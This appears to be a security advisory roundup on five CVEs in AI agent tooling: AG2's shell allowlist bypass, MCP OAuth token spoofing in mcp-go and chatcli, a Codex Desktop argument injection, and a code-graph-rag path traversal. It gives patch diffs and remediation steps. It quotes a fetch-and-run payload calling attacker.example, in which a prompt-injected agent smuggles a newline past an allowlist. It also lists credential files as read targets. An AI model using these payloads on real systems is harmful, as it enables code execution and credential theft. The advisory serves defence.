high

CVE

CVE-2026-113663, CVE-2026-123272, CVE-2026-123271, CVE-2026-110930, CVE-2026-77604

CWE

CWE-78, CWE-88, CWE-346, CWE-918, CWE-22

Affected Surface

  • PyPI `ag2` versions `>= 0.13.2, < 1.1.1` and `autogen` versions `>= 0.13.2, <= 0.14.1` (`CVE-2026-113663` / `GHSA-2h4w-29cv-2cmv`, CVSS 8.8 High, fixed in `ag2 1.1.1`)
  • Go module `github.com/mark3labs/mcp-go` versions `< v1.2.1` (`CVE-2026-123272` / `GHSA-xf6j-693p-wqxx`, CVSS 8.0 High, fixed in `v1.2.1`) and `<= v1.5.0` (`GO-2026-6911` `NewStreamableHTTP` `3xx` redirect SSRF and OAuth bearer token leak)
  • Go module `github.com/diillson/chatcli` versions `< v1.215.2` (`CVE-2026-123271` / `GHSA-95vg-3r9c-2v5q`, CVSS 8.0 High, fixed in `v1.215.2`)
  • OpenAI Codex Desktop for Windows (`CVE-2026-110930`, CVSS 8.0 High, Windows Explorer 'Open project in ChatGPT' context-menu handler)
  • PyPI `code-graph-rag` versions `< 0.0.345` (`CVE-2026-77604` / `GHSA-vvr2-h2jp-838m`, CVSS 7.5 High, fixed in `0.0.345`)

TL;DR

Between 19:17 UTC and 23:38 UTC on 5 November 2026, NVD, the GitHub Advisory Database, and the Go Vulnerability Database published five high-severity advisories affecting AI agent frameworks, Model Context Protocol (MCP) SDKs, and desktop coding assistants:

  1. AG2 (< 1.1.1) and autogen (0.13.2..0.14.1) SandboxShellTool command-allowlist bypass (CVE-2026-113663 / GHSA-2h4w-29cv-2cmv, CVSS 8.8 High): When developers configured SandboxShellTool with allowed=[...] or readonly=True (READONLY_COMMANDS) to restrict an LLM agent to safe commands, ShellAdapter._filter() checked the command string with contains_shell_operator() and prefix matching, then passed the raw string to sh -c <command>. Because contains_shell_operator() did not reject newline characters (\n), environment variable expansion ($VAR), or brace/glob expansion, a prompt-injected agent could pass "ls\nid" to execute arbitrary shell commands.
  2. Go github.com/mark3labs/mcp-go OAuth RFC 9728 resource-indicator spoofing (CVE-2026-123272 / GHSA-xf6j-693p-wqxx, CVSS 8.0 High, fixed in v1.2.1) and NewStreamableHTTP redirect token leak (GO-2026-6911, affecting <= v1.5.0): In mcp-go < v1.2.1, OAuthHandler.fetchServerMetadata() validated the RFC 9728 resource field when Protected Resource Metadata (PRM) was fetched from a WWW-Authenticate URL, but skipped that check when fetching from the well-known path (/.well-known/oauth-protected-resource). A malicious MCP server could declare a victim API’s URL in its well-known resource field, causing the client to request an RFC 8707 token scoped to the victim API and hand that token to the attacker’s MCP server. Separately, GO-2026-6911 (published 5 November at 22:44 UTC) notes that NewStreamableHTTP in client/transport uses a default http.Client (CheckRedirect: nil) whose custom RoundTripper attaches static headers (WithHeaders) and OAuth Authorization: Bearer tokens to every request, including cross-origin 3xx redirect targets.
  3. ChatCLI < v1.215.2 MCP OAuth token theft and cross-origin SSE endpoint hijacking (CVE-2026-123271 / GHSA-95vg-3r9c-2v5q, CVSS 8.0 High): ChatCLI trusted the server-supplied PRM resource field during MCP OAuth login without verifying that it matched the configured MCP server URL, stored OAuth tokens keyed only by serverName rather than (serverName, serverURL), and in sseTransport.handleSSEEvent("endpoint", ...) accepted arbitrary cross-origin URLs (http://other-host:9090/messages) to which all subsequent authenticated JSON-RPC POST requests were sent.
  4. OpenAI Codex Desktop for Windows Explorer context-menu argument injection (CVE-2026-110930, CVSS 8.0 High): When a user right-clicked a child item inside an attacker-controlled Windows library and selected “Open project in ChatGPT”, Codex Desktop did not properly validate quotation marks in the project path passed from Windows Explorer, allowing embedded quotes and flags to inject application startup arguments and execute arbitrary code as the current Windows user before sign-in or project trust approval.
  5. Code Graph RAG < 0.0.345 MCP paginated read_file arbitrary file read (CVE-2026-77604 / GHSA-vvr2-h2jp-838m, CVSS 7.5 High): In codebase_rag/mcp/tools.py, the non-paginated branch of MCPToolsRegistry.read_file() validated paths, but the paginated branch (if offset is not None or limit is not None:) simply executed full_path = Path(self.project_root) / file_path and opened full_path. Because Python’s pathlib.Path("/workspace") / "/etc/passwd" discards self.project_root whenever file_path is absolute (and ../ traversal was not resolved), any MCP caller passing offset=0, limit=100 could read arbitrary files on the host.

What to do now: Upgrade ag2 to >= 1.1.1 (and migrate off autogen <= 0.14.1), github.com/mark3labs/mcp-go to >= v1.2.1 (and supply a custom WithHTTPBasicClient with a strict CheckRedirect policy to mitigate GO-2026-6911), github.com/diillson/chatcli to >= v1.215.2, code-graph-rag to >= 0.0.345, and update OpenAI Codex Desktop on Windows to the latest build.

Affected packages and projects

EcosystemPackage / ProductCVE / AdvisorySeverityAffected versionsFixed versionVulnerable component
PyPIag2, autogenCVE-2026-113663 (GHSA-2h4w-29cv-2cmv)CVSS 8.8 Highag2 >= 0.13.2, < 1.1.1; autogen >= 0.13.2, <= 0.14.1ag2 1.1.1 (1.3.0 latest)ShellAdapter in ag2/tools/sandbox/adapter/shell.py and filter.py
Gogithub.com/mark3labs/mcp-goCVE-2026-123272 (GHSA-xf6j-693p-wqxx), GO-2026-6911CVSS 8.0 High< v1.2.1 (CVE-2026-123272); <= v1.5.0 (GO-2026-6911)v1.2.1 (CVE-2026-123272); pass WithHTTPBasicClient with CheckRedirect for GO-2026-6911OAuthHandler.fetchServerMetadata() in client/transport/oauth.go and NewStreamableHTTP in client/transport/streamable_http.go
Gogithub.com/diillson/chatcliCVE-2026-123271 (GHSA-95vg-3r9c-2v5q)CVSS 8.0 High< v1.215.2v1.215.2cli/mcp/oauth.go, cli/mcp/manager.go, and cli/mcp/mcp.go
Windows DesktopOpenAI Codex DesktopCVE-2026-110930CVSS 8.0 HighWindows builds prior to the Nov 2026 updateLatest Codex Desktop for Windows releaseWindows Explorer "Open project in ChatGPT" path handler
PyPIcode-graph-ragCVE-2026-77604 (GHSA-vvr2-h2jp-838m)CVSS 7.5 High< 0.0.3450.0.345 (0.5.0 latest)MCPToolsRegistry.read_file() in codebase_rag/mcp/tools.py

Technical analysis

1. CVE-2026-113663: AG2 SandboxShellTool newline injection and sh -c execution

In ag2 (0.13.2 through 1.1.0) and autogen (0.13.2 through 0.14.1), SandboxShellTool supports allowed=[...] and readonly=True (which populates allowed with READONLY_COMMANDS such as ls, cat, git status, rg) to let an agent inspect a workspace without running arbitrary commands. However, ShellAdapter validated the command string as text and then executed it through sh -c:

  1. contains_shell_operator() checked for ;, |, &&, ||, `, $(, >, and <, but did not check for \n (newline), $VAR environment expansion, or glob/brace expansion.
  2. Because matches() checked whether the command string started with an allowed prefix, passing "ls -la\ncurl -s http://attacker.example/sh | sh" matched the "ls" prefix, passed contains_shell_operator(), and was handed to sh -c, where the shell executed every newline-separated line.

Commit 3cd86726bb73 (ag2 1.1.1) parses restricted commands into an argv list with split_command(), rejects \n and \r, validates the parsed argv tokens with matches_argv(), and executes the argv vector directly without invoking sh -c:

--- a/ag2/tools/sandbox/adapter/shell.py
+++ b/ag2/tools/sandbox/adapter/shell.py
@@ -82,15 +91,24 @@ def workdir(self) -> "Path | PurePosixPath":
             return host
         return sandbox.workdir
 
-    def _filter(self, command: str) -> str | None:
+    @property
+    def restricted(self) -> bool:
+        """Whether commands run as a checked argv, without a shell."""
+        return self._allowed is not None
+
+    def _argv(self, command: str) -> list[str] | None:
+        # Restricted mode runs exactly the argv it checks: through ``sh -c`` the
+        # shell would expand braces, variables and globs after the check.
+        if self._allowed is None:
+            return ["sh", "-c", command]
+        return split_command(command)

2. CVE-2026-123272 (mcp-go) and CVE-2026-123271 (chatcli): MCP OAuth RFC 9728 resource-indicator spoofing

Under the MCP OAuth specification (which layers RFC 9728 OAuth 2.0 Protected Resource Metadata with RFC 8707 Resource Indicators), an MCP client discovers an MCP server’s authorization server and resource identifier from Protected Resource Metadata (PRM), then passes resource=<PRM.resource> to the authorization server so the resulting access token is audience-bound to that resource.

In github.com/mark3labs/mcp-go < v1.2.1 (CVE-2026-123272), OAuthHandler.fetchServerMetadata() in client/transport/oauth.go checked that metadata.Resource matched the MCP server’s URL only when the PRM URL came from an untrusted WWW-Authenticate header, assuming that /.well-known/oauth-protected-resource on the MCP server’s own origin was implicitly bound:

--- a/client/transport/oauth.go
+++ b/client/transport/oauth.go
@@ -795,12 +803,18 @@ func (h *OAuthHandler) fetchServerMetadata(ctx context.Context) (metadataDiscove
-	// The check is scoped to the advertised path because the
-	// well-known origin-constructed path is already bound to the
-	// protected resource by same-origin URL construction.
-	if candidate.requireResourceMatch {
-		if metadata.Resource == "" {
+	// Both discovery paths enforce the binding, at different strictness.
+	if candidate.requireResourceMatch {
+		if metadata.Resource == "" || !resourceMatchesServerURL(metadata.Resource, h.baseURL, true) {
 			continue
 		}
+	} else if metadata.Resource != "" && !resourceMatchesServerURL(metadata.Resource, h.baseURL, false) {
+		continue
 	}

Because the JSON document returned by /.well-known/oauth-protected-resource is still controlled by the MCP server, a malicious MCP server at https://evil-mcp.example could serve {"resource": "https://api.internal.example", "authorization_servers": ["https://sso.internal.example"]} from its well-known endpoint. When a developer authenticated to evil-mcp.example, mcp-go (and chatcli < v1.215.2 in CVE-2026-123271) asked the enterprise IdP to mint an access token for https://api.internal.example and then sent that token in Authorization: Bearer to https://evil-mcp.example.

3. CVE-2026-77604: Code Graph RAG paginated read_file path traversal

In codebase_rag/mcp/tools.py, MCPToolsRegistry.read_file(file_path, offset, limit) had two branches. When offset and limit were both None, it called a helper that checked project-root containment; when either offset or limit was provided, it skipped validation and ran Path(self.project_root) / file_path. Commit 6541e920a279 (v0.0.345) resolves both paths and enforces full_path.relative_to(project_root):

--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@ -559,7 +559,14 @@ async def read_file(
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )

Indicators of compromise (IOCs) and exploit patterns

  • AG2 SandboxShellTool (CVE-2026-113663): Tool-call logs where a SandboxShellTool argument starts with an allowed read-only command (ls, cat, git, rg, find) followed by \n, $, or glob characters.
  • MCP OAuth (CVE-2026-123272, CVE-2026-123271, GO-2026-6911): /.well-known/oauth-protected-resource responses declaring a resource URI on a different origin from the MCP server, SSE endpoint events pointing at a different host/port/scheme, or 301/302/307/308 responses from an MCP HTTP endpoint.
  • Code Graph RAG (CVE-2026-77604): MCP read_file tool invocations passing offset or limit alongside an absolute file_path (/etc/passwd, ~/.aws/credentials, .env) or ../ segments.

Detection and remediation

# 1. Check Python environments and lockfiles for vulnerable ag2, autogen, and code-graph-rag versions
pip show ag2 autogen code-graph-rag 2>/dev/null || true
rg -n '(ag2|autogen|code-graph-rag)' requirements*.txt pyproject.toml uv.lock poetry.lock 2>/dev/null

# 2. Check Go modules for mark3labs/mcp-go and diillson/chatcli
rg -n 'github\.com/(mark3labs/mcp-go|diillson/chatcli)' go.mod go.sum 2>/dev/null
  1. Upgrade ag2 to >= 1.1.1 and code-graph-rag to >= 0.0.345: Replace autogen <= 0.14.1 or ag2 < 1.1.1 with ag2 >= 1.1.1 so SandboxShellTool executes restricted commands via argv without sh -c.
  2. Upgrade mark3labs/mcp-go to >= v1.2.1 and chatcli to >= v1.215.2, and block cross-origin redirects in NewStreamableHTTP: Because GO-2026-6911 affects mcp-go through v1.5.0, pass transport.WithHTTPBasicClient(&http.Client{CheckRedirect: ...}) that rejects cross-origin redirects or strips Authorization and custom headers whenever the redirect target’s origin differs from the MCP server’s origin. Rotate any OAuth tokens cached by mcp-go or chatcli when connecting to third-party MCP servers.
  3. Update OpenAI Codex Desktop on Windows: Update Codex Desktop for Windows before using the Windows Explorer "Open project in ChatGPT" shell integration on untrusted directories or network shares.

Timeline

  • 2026-11-05 (19:17 UTC): NVD publishes CVE-2026-123271 (chatcli < v1.215.2) and CVE-2026-123272 (mark3labs/mcp-go < v1.2.1).
  • 2026-11-05 (20:17 to 20:18 UTC): NVD publishes CVE-2026-110930 (OpenAI Codex Desktop for Windows) and CVE-2026-77604 (code-graph-rag < 0.0.345).
  • 2026-11-05 (22:44 to 23:16 UTC): The Go Vulnerability Database publishes GO-2026-6911 (mark3labs/mcp-go NewStreamableHTTP redirect credential leak), and NVD publishes CVE-2026-113663 (ag2 < 1.1.1 / autogen <= 0.14.1).

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References